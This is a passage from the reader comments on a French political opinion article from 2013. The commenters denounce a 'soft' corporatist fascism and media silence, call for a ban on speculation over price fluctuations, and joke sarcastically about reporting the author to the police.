strictement AUCUN titre de notre « grande presse » n’a publié le moindre article à ce sujet.

    Pardonnez mon égarement au pays de l’oncle Sam, mais il se trouve que la chape de plomb y est moins lourde. On y trouve tout de même un certain nombre d’infos que malheureusement la presse française ne donne pas, et je pense qu’elles sont cruciales pour comprendre les choses. Le système que votre article met en lumière, c’est un fascisme au sens que je donnais plus haut. Un fascisme qui a ceci de particulier : il n’est pas « nationaliste » mais plutôt « corporatiste » avec une dimension « mondialiste ». Un fascisme qui ne dit pas son nom et se cache sous un masque de démocratie qui se fissure, fascisme « soft » en somme, mais derrière le masque on retrouve bien cet usage de la force "si nécessaire" pour protéger ses intérêts. Malheureusement la plupart des gens l’ignorent, ou feignent de l’ignorer, et continueront de la sorte jusqu’à ce que cette violence, tôt ou tard, ne déferle sur leurs illusions. Le système, lui, s’y prépare et garde toujours un coup d’avance.


  • millesime 25 août 2013 16:38

    il n’y a qu’une seule chose à faire :
    INTERDIRE LES PARIS SUR LES FLUCTUATIONS DES PRIX ;; ; !
    dès lors qu’il n’y a plus de spéculation les banques pourront se consacrer au financement de l’économie !
    c’est une question de VOLONTE POLITIQUE
    http://millesime.over-blog.com


  • Denzo75018 26 août 2013 08:54

    On ne gouverne pas (ou souhaite gouverner ) avec pour seuls réseaux sociaux : sa gardienne, ses voisins, Emmaüs, les associations ou les potes du Balto !
    En effet fréquenter les cercles du pouvoir Français et internationaux permet de s’informer et d’anticiper ...Cela fait partie de leur Job !


  • gaston gaston 28 décembre 2013 21:23

    Excellente analyse.

    Nul doute qu’elle sera reprise « en boucle »
    par tous les « grands médias » TF1 BFM,
    le point,l’express,le figaro,etc...
    Mais je me demande si vos propos ne sont
    pas susceptibles de tomber sous le coup d’une
    de ces dernières lois ( UMP ou PS ),qui sanctionnent
    les atteintes à l’ordre public ?
    Ne seriez-vous pas un incitateur à la contestation,qui
    est devenue l’une des formes du « Terrorisme » ?
    Et moi,qui suis un bon citoyen,ne devrais-pas vous
    signaler - dans l’intérêt général- à la police de la 
    pensée de cet excellent Valls ?
    Il faut que j’y réfléchisse... Mais plus tard !
    C’est l’heure du feuilleton Américain...
    Bien cordialement.



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